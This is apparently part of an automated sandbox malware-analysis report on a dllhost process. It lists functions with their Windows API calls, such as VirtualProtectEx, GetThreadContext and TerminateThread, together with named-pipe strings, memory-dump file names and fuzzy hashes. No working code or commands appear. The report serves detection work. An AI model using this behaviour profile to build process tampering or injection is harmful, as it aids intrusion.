Instruction Fuzzy Hash: 6C1186B2614A8486E761CF26F8447D92374F78C7D8F405205E75D4BAA9DF7CC258CB18

Function 000002E86A095F50 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002E86A095F8B
GetThreadContext.KERNEL32 ref: 000002E86A0960F5

Part of subcall function 000002E86A095D80: GetCurrentThreadId.KERNEL32 ref: 000002E86A095D84

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: d6438e14acddd0a34d7f097f3268bd65991f16ef90fc5aeffdae397213171ed3
Instruction ID: f7b68f64ddc665392f0f5abcd19a2058114d3a9c50e5c367d6a32e73f184d2f6
Opcode Fuzzy Hash: d6438e14acddd0a34d7f097f3268bd65991f16ef90fc5aeffdae397213171ed3
Instruction Fuzzy Hash: 2AD1AA36249B88C2DF709B16E49835AB7A4F3C8B88F105256EACD57BA5CF3CC591CB41

Function 000002E86A0931C0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002E86A0931E3
HeapAlloc.KERNEL32 ref: 000002E86A0931F6
StrCmpNIW.SHLWAPI ref: 000002E86A093277
GetProcessHeap.KERNEL32 ref: 000002E86A0932DD
HeapFree.KERNEL32 ref: 000002E86A0932EB

Strings

Dead, xrefs: 000002E86A093270

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: Dead
API String ID: 756756679-1293411866
Opcode ID: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction ID: 2aebc73ed3c4985d4cf6312b6bc67b0686e0ae9bdf34e68b0e52e007a87bd6bb
Opcode Fuzzy Hash: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction Fuzzy Hash: 3231A032741B91C2EE559F56E448369E3A8FB58B80F0450689FDC23B95EF38D4E58B02

Function 000002E86A091934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002E86A09195A
K32GetModuleFileNameExW.KERNEL32 ref: 000002E86A091978
PathFindFileNameW.SHLWAPI ref: 000002E86A091987
lstrlenW.KERNEL32 ref: 000002E86A091993
StrCpyW.SHLWAPI ref: 000002E86A0919A6
CloseHandle.KERNEL32 ref: 000002E86A0919B4

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction ID: feae79a9befa02bd73794fbeeb9e66503bdc15e1ef8d3b05e6ed7d3095a2e53f
Opcode Fuzzy Hash: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction Fuzzy Hash: 4E015725348A80C2EE50DB12F85875AA2A9F78CBC0F488174DE9E43759DF38C986C752

Function 000002E86A093B00 Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002E86A0936A8), ref: 000002E86A093B1C
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002E86A0936A8), ref: 000002E86A093B2A
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002E86A0936A8), ref: 000002E86A093B4C
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002E86A0936A8), ref: 000002E86A093B6D
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002E86A0936A8), ref: 000002E86A093B8E
TerminateThread.KERNEL32(?,?,?,?,?,000002E86A0936A8), ref: 000002E86A093B9D

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 30c8d17d90bd3745ebdb1f35502c968551356a20b63a74c7033b0010c96071d1
Instruction ID: 9075b07073775e22313a16b811fb5c1dc7289c43abe67f45632b8638ccd8cb1f
Opcode Fuzzy Hash: 30c8d17d90bd3745ebdb1f35502c968551356a20b63a74c7033b0010c96071d1
Instruction Fuzzy Hash: 39112D29341B80D6FF249B21E82C71AA3A8BB4DB85F040568CB8D47766EF3DC588C703

Function 000002E86A0919D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002E86A0919F8
StrCmpNIW.SHLWAPI ref: 000002E86A091A12
lstrlenW.KERNEL32 ref: 000002E86A091A21
StrCpyW.SHLWAPI ref: 000002E86A091A36

Strings

\\?\, xrefs: 000002E86A091A06

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction ID: bbd568375ae247c5d738fcf4c14187593b1fb3de0fed0a8a49dcf9ee61651340
Opcode Fuzzy Hash: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction Fuzzy Hash: DFF044223886C1D2EF608B15F498799A768F758788F849060DB8D465A5DFBCCAC9C702

Function 000002E86A09330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,?,000002E86A092585), ref: 000002E86A09332E
StrCpyW.SHLWAPI ref: 000002E86A09333E
StrCatW.SHLWAPI ref: 000002E86A09334A
PathCombineW.SHLWAPI(?,?,?,000002E86A092585), ref: 000002E86A093358

Strings

\\.\pipe\, xrefs: 000002E86A093324

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 0fefe4693416a643ad9e70920ffc3e33abc3de2cb316a83794251c8f9330dfe7
Instruction ID: 6f6ece8ad2b62840e13be71d4a37ee7a32c1a95d8904781b45671ecdfb89c03d
Opcode Fuzzy Hash: 0fefe4693416a643ad9e70920ffc3e33abc3de2cb316a83794251c8f9330dfe7
Instruction Fuzzy Hash: 54F05E24244BC0D1EE148B13F908159A668AB4CFD0F18A161EF9E07B69CE38C4C18702

Function 000002E86A09A258 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002E86A09A274
GetProcAddress.KERNEL32 ref: 000002E86A09A28A
FreeLibrary.KERNEL32 ref: 000002E86A09A2A7

Strings

CorExitProcess, xrefs: 000002E86A09A283
mscoree.dll, xrefs: 000002E86A09A26B

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction ID: 8b5c97e27a5915618422442b4c87a2804fa9c7c79347ab6acbe81dbc32166d2c
Opcode Fuzzy Hash: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction Fuzzy Hash: E9F0A765B61BC0D1FF448F60E89C7656368EB88B80F442559968F45162CF3CC4C9C303

Function 000002E86A0954F0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002E86A095576

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 5eb0f69eaa28739e7a3b5d30c3b7e3077147b945ee367a274f52b7d5e5995563
Instruction ID: abe14ad85ef5286f5ecceb258c02e82ea5d24ba747717a0401855bf84e7881e3
Opcode Fuzzy Hash: 5eb0f69eaa28739e7a3b5d30c3b7e3077147b945ee367a274f52b7d5e5995563
Instruction Fuzzy Hash: 1802D536259BC0C6EFA08B5AF49435AB7A4F384794F101056EACE97BA9DF78D484CB01

Function 000002E86A0A0980 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002E86A0A09C2
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000002E86A0A093F,?,?,?,000002E86A09E263), ref: 000002E86A0A0A80
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000002E86A0A093F,?,?,?,000002E86A09E263), ref: 000002E86A0A0B0A

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction ID: 2b63081d98ac17825dff97fd6a8992e94ad50607ab32135f18922eba9f75825f
Opcode Fuzzy Hash: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction Fuzzy Hash: CA81E1236A4698C9FF509F20C8983AD67A8F348B98F444295DF8E63797DF3484C1C312

Function 000002E86A095B30 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002E86A095B46

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: dbebcfa212769c950804440a44d24f2a92ce7775a833934e53173bcf02afa0e6
Instruction ID: 612b391ee09ac68a1ed13b8239540926e0bdac57002250f374c0b4a2cf2b8c43
Opcode Fuzzy Hash: dbebcfa212769c950804440a44d24f2a92ce7775a833934e53173bcf02afa0e6
Instruction Fuzzy Hash: 80610A76159B84C6EF608B16E44831AB7E8F388785F105255EACE97BA8DF7CC484CF02

Function 000002E86A0A1FD8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002E86A0A2000
_set_statfp.LIBCMT ref: 000002E86A0A201B
_set_statfp.LIBCMT ref: 000002E86A0A2037
_set_statfp.LIBCMT ref: 000002E86A0A2073

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 327ca00819bb8acd53f1ac06ae8871a64ac7b662af68b8d55d8bb677741d6969
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: F7119162BD4A90C1FF581626D49E76950486B6C374F0446F4AFFE0A3F7AE7889C1C302

Function 000002E86A0713D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002E86A071400
_set_statfp.LIBCMT ref: 000002E86A07141B
_set_statfp.LIBCMT ref: 000002E86A071437
_set_statfp.LIBCMT ref: 000002E86A071473

Memory Dump Source

Source File: 00000006.00000003.2003027264.000002E86A060000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002E86A060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2e86a060000_dllhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: eff8321000ec67bc45d878b7a2d1b3b8c73a6101fa1330f81d8a3361c5f9375c
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 8A117322AD0AF181FF541224E47E3A510596BB5774F2446A4EBFE176F69E34C9C14133

Function 000002E86A093BB8 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002E86A093657), ref: 000002E86A093BC6
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002E86A093657), ref: 000002E86A093BF4
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002E86A093657), ref: 000002E86A093C16
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002E86A093657), ref: 000002E86A093C34
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002E86A093657), ref: 000002E86A093C55

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction ID: 1ea0a3f2df70a2c0dd36de768da3b30b9803f1d8226716545035a334e4554a43
Opcode Fuzzy Hash: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction Fuzzy Hash: C9115B2A744B81C2EF149B25E45C76AA2A8F78CB94F040069DFCD17795EF3DC588CB02

Function 000002E86A093558 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 000002E86A09357A
StrStrW.SHLWAPI ref: 000002E86A093594
StrToIntW.SHLWAPI ref: 000002E86A0935BB

Part of subcall function 000002E86A091934: OpenProcess.KERNEL32 ref: 000002E86A09195A
Part of subcall function 000002E86A091934: K32GetModuleFileNameExW.KERNEL32 ref: 000002E86A091978
Part of subcall function 000002E86A091934: PathFindFileNameW.SHLWAPI ref: 000002E86A091987
Part of subcall function 000002E86A091934: lstrlenW.KERNEL32 ref: 000002E86A091993
Part of subcall function 000002E86A091934: StrCpyW.SHLWAPI ref: 000002E86A0919A6
Part of subcall function 000002E86A091934: CloseHandle.KERNEL32 ref: 000002E86A0919B4

Part of subcall function 000002E86A093C70: StrCmpNIW.SHLWAPI(?,?,?,000002E86A09255A), ref: 000002E86A093C88

Strings

pid_, xrefs: 000002E86A093570

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction ID: 35fcda43bd415a17eeef0ab65b21f887dc05b96b9b1e3645c7d58bc6f10e5732
Opcode Fuzzy Hash: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction Fuzzy Hash: 9B117F25350BC0D1FF509725E80939AA3A8F78C780F5050A99E9DA3795EF39C995CB43

Function 000002E86A0914A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002E86A0914C5
HeapFree.KERNEL32 ref: 000002E86A0914D4
GetProcessHeap.KERNEL32 ref: 000002E86A0914E1
HeapFree.KERNEL32 ref: 000002E86A0914F0
GetProcessHeap.KERNEL32 ref: 000002E86A091500

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction ID: 433b1656fbfc40a616de0f1e0f59638f999657316f8e7d939f4648549817ea90
Opcode Fuzzy Hash: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction Fuzzy Hash: D0014836640AD0C6EF04DFA6E808149A7A4F78CF80F084425EB8E53729DE38C091CB42

Function 0000000140001480 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000001400014A1
HeapFree.KERNEL32 ref: 00000001400014B0
GetProcessHeap.KERNEL32 ref: 00000001400014BD
HeapFree.KERNEL32 ref: 00000001400014CC
GetProcessHeap.KERNEL32 ref: 00000001400014DC

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: e678e7cc9e14611d03542dd0f4cfa1862595fdc7699ab0b0d5d92de8e3d459d8
Instruction ID: 627ab9307cc27aa497882f47f41db93a5d5935ed27be12c5ef969e1212e8f1b8
Opcode Fuzzy Hash: e678e7cc9e14611d03542dd0f4cfa1862595fdc7699ab0b0d5d92de8e3d459d8
Instruction Fuzzy Hash: 2B0148B2A00A80C6E705EF67F90439A67A0F78CBC4F454425BB994373ADF38C0518744

Function 000002E86A092618 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002E86A092701
StrCpyW.SHLWAPI ref: 000002E86A09271A

Strings

\\.\pipe\, xrefs: 000002E86A09270C

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction ID: 001dc0c6e199f5041a95edb17fef4d93a795b89e25d4caa2f32a7fec4b7f9745
Opcode Fuzzy Hash: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction Fuzzy Hash: 3A71A3762807C1C6EF64DF26D8483EA67ADF38D784F4420A5DE8E63B99DE34C5858702

Function 000002E86A06D178 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002E86A06D249

Strings

bad array new length, xrefs: 000002E86A06D385, 000002E86A06D396
HIJKLMNOPQRSTUVWXYZ, xrefs: 000002E86A06D2A1, 000002E86A06D345

Memory Dump Source

Source File: 00000006.00000003.2003027264.000002E86A060000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002E86A060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2e86a060000_dllhost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: HIJKLMNOPQRSTUVWXYZ$bad array new length
API String ID: 3215553584-4137334423
Opcode ID: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction ID: 5fdd7fe424a90483edef77df624c8023edb8dbb82ddcccd301b7270d4f17c61c
